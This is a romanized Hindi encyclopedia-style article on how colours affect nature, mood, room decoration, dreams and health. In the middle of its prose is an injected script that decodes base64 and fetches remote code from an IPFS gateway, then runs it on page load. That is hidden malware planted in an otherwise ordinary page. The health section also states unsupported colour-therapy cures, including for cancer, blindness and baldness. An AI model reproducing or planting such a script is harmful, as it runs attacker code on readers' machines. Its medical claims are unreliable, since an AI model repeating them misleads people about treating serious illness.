रंगों का प्रभाव
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rangoan ka prabhav
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| vivaran | rang ka hamare jivan mean bahut mahattv hai. rangoan se hamean vibhinn sthitiyoan ka pata chalata hai. ham apane charoan taraph anek prakar ke rangoan se prabhavit hote haian. |
| utpatti | rang, manavi aankhoan ke varnakram se milane par chhaya sambandhi gatividhiyoan se utpann hote haian. mool roop se iandradhanush ke sat rangoan ko hi rangoan ka janak mana jata hai, ye sat rang lal, narangi, pila, hara, asamani, nila tatha baiangani haian. |
| mukhy srot | rangoan ki utpatti ka sabase prakritik srot soory ka prakash hai. soory ke prakash se vibhinn prakar ke rangoan ki utpatti hoti hai. prizm ki sahayata se dekhane par pata chalata hai ki soory sat rang grahan karata hai jise sookshm roop ya aangrezi bhasha mean VIBGYOR aur hindi mean "baian ja ni h pi na la" kaha jata hai. |
| VIBGYOR | |
| rangoan ke prakar | prathamik rang (lal, nila aur hara), dvitiyak rang aur virodhi rang |
| sanbandhit lekh | iandradhanush, tarang dairdhy, varn vikshepan, apavartan, holi |
| any janakari | vishv ki sabhi bhashaoan mean rangoan ki vibhinn chhaviyoan ko bhinn nam pradan kie ge haian. lekin phir bhi rangoan ko kramabaddh nahian kiya ja saka. aangrezi bhasha mean kisi ek chhavi ke anekanek nam haian. |
rang athava varn ka hamare jivan mean bahut mahattv hai. rangoan se hamean vibhinn sthitiyoan ka pata chalata hai. mool roop se iandradhanush ke sat rangoan ko hi rangoan ka janak mana jata hai, ye sat rang lal, narangi, pila, hara, asamani, nila tatha baiangani haian.
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prakriti ki sundarata avarnaniy hai aur isaki sundarata mean char chaand lagate hai ye rang. soory ki lalima ho ya khetoan ki hariyali, asaman ka nilapan ya meghoan ka kalapan, barish ke bad mean bikharati indradhanush ki anokhi chhata, barf ki safedi aur na jane kitane hi khoobasoorat nazare jo hamare aantarang atma ko praphullit karata hai. is anand ka raj hai rangoan ki anubhooti. manav jivan rangoan ke bina udas aur soona hai. mukhyat: sat rangoan ki is srishti mean har ek rang hamare jivan par asar chho data hai. koee rang hamean uttejit karata hai to koee rang pyar ke liye prerit karata hai. kuchh rang hamean shaanti ka ehasas karate haian to kuchh rang matam ka pratik hai. doosare shabdoan mean kah sakate hai ki hamare jivan par rang ka bahut asar hai. har ek rang alag-alag iansan ko alag-alag tarike se andolit karata hai...[1]
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ham hamesha se dekhate ae haian ki devi-devataoan ke chitr mean unake mukh mandal ke pichhe ek abhamandal bana hota hai. yah abha mandal har jivit vyakti, pe d-paudhe adi mean nihit hota haian. is abhamandal ko kiraliyan fotographi se dekha bhi ja sakata haian. yah abhamandal sharir se 2" se 4" ianch ki doori par dikhaee deta hai. isase pata chalata hai ki hamara sharir rangoan se bhara hai. hamare sharir par rangoan ka prabhav bahut hi sookshm prakriya se hota haian. sabase upayogi soory ka prakash hai. isake atirikt hamara rangoan se bhara ahar, ghar ya kamaroan ke rang, kap de ke rang adi bhi sharir ki oorja par prabhav dalate haian. ilaj ki ek paddhati 'rang chiktisa' bhi rang par adharit hai. manorog sanbandhi mamaloan mean bhi is chikitsa paddhati ka anukool prabhav dekha gaya hai. soory ki kiranoan se hamean sat rang milate haian. inhian sat rangoan ke mishran se lakhoan rang banae ja sakate haian. vibhinn rangoan ke mishran se das lakh tak rang banae ja sakate haian lekin sookshmata se 378 rang hi dekhe ja sakate haian. har rang ki garm aur thandi tasir hoti hai. hare, nile, baiangani aur inase milate-julate rangoan ka prabhav vatavaran mean thandak ka ehasas karata hai. vahian doosari or pile, lal v inake mishran se bane rang vatavaran mean garmi ka abhas dete haian. inhian rangoan ki sahayata se vastu sthiti tatha prabhavoan ko bhramak bhi banaya ja sakata hai.
sujhav
- yadi kamare mean roshani kam ati ho to hamean is tarah ke rangoan ka prayog karana chahie jisase aandhera aur n badhane paye. yahaan safed, gulabi, halka santari, halka pila, halka baiangani rangoan ka prayog kiya ja sakata hai. yah rang kamare mean chamak laeange.
- chhote kamare ko b da dikhane ke lie chhat par safed rang ka prayog kiya ja sakata hai.
- jin kamaroan ki chau daee kam ho unhean b da dikhane ke lie divaroan par alag-alag rang kiya ja sakata hai. gahare rang chhoti divaroan par evan halke rang lanbi divaroan par karana chahie.
- yadi chhota dibbenuma kamara hai to use b da dikhane ke lie usaki tin divaroan par ek rang aur chauthi divar par alag rang karean.
rangoan ka chunav
rangoan ka chunav bahut se pahaluoan par nirbhar karata haian prakash ki upalabdhata, apani pasand, kamaroan ka saeej adi. kabhi-kabhi sahi rang ka chunav jivan ko ek mahattvapoorn ghumav de deta hai aur kee bar apane lie viparit rangoan ke prayog se ham anajane hi musibatoan ko bulava de dete haian.[2]
manav jivan par rang ka prabhav
rang manav jivan par vyapak prabhav dalata hai. prachinakal se yah vishvas raha hai ki rang ka manav ke rog mukti se bhi gahara sambandh haian. aj vijnan se lekar manovijnan tak is bat ko svikar karata hai ki rang manav ke manovijnan aur manosthiti par vyapak prabhav dalata hai. adhunik chikitsa vijnan ke anusar manushy ko hone vale adhi se adhik sharirik rogoan ka karan manasik hota hai. yahi karan haian ki vibhinn rangoan ke ratn pahanakar jatil rogoan se mukti pane ka vishvas janasadharan mean raha hai. isi shatabdi ke doosare dashak mean dilli mean ek vishv prasiddh aushadhalay tha, jahaan par keval rang aur prakash dvara asadhy rogoan ki bhi chikitsa ki jati thi.
sapanoan mean rang
agar ap sapanoan mean rang bharana chahate haian to rangin tivi dekhie. ji haan, vaijnanikoan ne ab ek shodh mean yah paya hai ki blaik eand vhait tivi dekhane valoan ke sapane bhi berang hote haian aur aise log apane sapanoan mean rang nahian bhar pate. japan mean kie ge shodh mean 1993 se 2009 ke bich 16 sal ki avadhi mean 1300 logoan ka do bar sakshatkar liya gaya. inase poochha gaya ki unake sapane kis rang ke hote haian. shodhakartaoan ne paya ki 60 varsh ki ayu varg ke paanch mean se keval ek vyakti ne rangin sapane dekhe haian.[3]
svasthy par rang ka prabhav
manav svasthy par rangoan ka bahut adhik prabhav p data haian. ayurved chikitsa mean sharir ke kisi bhi rog ka mukhy karan vat, pitt aur kaph ko mana jata hai. rang chikitsa ki manyata ke anusar sharir mean hare, nile v lal rang ke asantulan se bhi rog utpann hote haian. isalie vat mean rakt vikar ko ham hare rang ke upayog se door kar sakate haian. lal prakash rakt mean vriddhi karane ki kshamata rakhata hai. kaph mean sardi ki adhikata ko ham lal, pile v narangi rang ke upayog se door kar sakate hai aur pitt mean garmi ki adhikata ko ham nile, baiangani rang ke prayog se door kar sakate haian. baiangani prakash ganjapan door karata hai. rang tatha prakash ke chikitsa siddhant ke anusar nila prakash pet ke kaiansar, pechish, aankh ke rog aur striyoan ke gupt rogoan ke lie atyant labhakari haian. yah aandhapan bhi door karata hai. pila prakash gurde evan yakrit ke rogoan mean labhaprad hai.
| rang | granthi | vitamin |
|---|---|---|
| lal | livar | e |
| narangi | thayarayad | bi 12 |
| pila | aankh ki putali ke bhitar ki jhilli | bi |
| hara | pitayoochari | si |
| gahara nila | piniyal | di |
| halka nila (iandigo) | pairathayarayad | ee |
| baiangani | pliha | ke |
| left|30px|link=rangoan ka mahattv|pichhe jaean | rangoan ka prabhav | right|30px|link=rang aur poshan|age jaean |
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tika tippani aur sandarbh
- ↑ devi, rekha. ap aur apaka shubh rang (ech ti em el) aank aur ap. abhigaman tithi: 21 julaee, 2010.
- ↑ jivan par rangoan ka prabhav (hindi) (ech.ti.em.el) jyotish jagath. abhigaman tithi: 16 aktoobar, 2010.
- ↑ blaik eand vhait TV dekhane valoan ke sapane bhi berang (hindi) (ech.ti.em.el) laiv hindustan. abhigaman tithi: 15 julaee, 2011.
bahari k diyaan
- rangoan se sanvare jivan
- rang ka arth
- rashiyoan ke mutabiq chunean kap doan ke rang
- bhagyashali rangoan se bharean ziandagi mean rang
- rang biranga khaean, shanadar sehat paean
- nile rang ka kamal
sanbandhit lekh